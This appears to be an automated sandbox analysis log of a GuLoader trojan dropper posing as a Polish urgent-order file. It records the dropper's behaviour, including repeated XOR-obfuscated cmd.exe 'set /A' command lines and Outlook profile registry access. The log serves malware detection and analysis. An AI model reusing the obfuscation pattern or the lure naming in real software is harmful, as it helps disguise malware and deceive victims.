            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_004030D9 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,LdrInitializeThunk,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,LdrInitializeThunk,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,1_2_004030D9
            Source: C:\Windows\SysWOW64\cmd.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: C:\Users\user\PacifisterneJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile created: C:\Users\user\AppData\Local\Temp\nsw80C6.tmpJump to behavior
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@400/11@3/3
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_0040205E LdrInitializeThunk,CoCreateInstance,MultiByteToWideChar,LdrInitializeThunk,1_2_0040205E
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeFile read: C:\Users\desktop.iniJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_0040431C GetDlgItem,SetWindowTextA,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,LdrInitializeThunk,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,1_2_0040431C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dllJump to behavior
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4792:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4792:120:WilError_03
            Source: Window RecorderWindow detected: More than 3 window changes detected
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
            Source: Binary string: f:\bluetooth8.0.1.57\sw\src\WIN8_Mainline\ExtArch\UI\Win7UI\Prism\Composite.UnityExtensions\obj\x64\Release\Microsoft.Practices.Composite.UnityExtensions.pdb source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000003.13038087262.0000000002936000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Practices.Composite.UnityExtensions.dll.1.dr

            Data Obfuscation

            barindex
            Yara detected GuLoader
            Source: Yara matchFile source: 00000001.00000002.14100531174.00000000058D8000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.14099095140.000000000071D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe PID: 4904, type: MEMORYSTR
            Obfuscated command line found
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x19^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x05^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x07^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x78^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x79^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x08^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x39^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2A^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x3F^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0D^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x27^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0A^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x63^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x26^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x39^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7F^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x33^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x73^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x3B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x33^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x73^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x19^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x05^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x07^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x78^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x79^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x08^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x39^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2A^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x3F^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0D^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x27^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0A^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x63^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x26^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x39^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7F^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x33^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x73^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x07^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
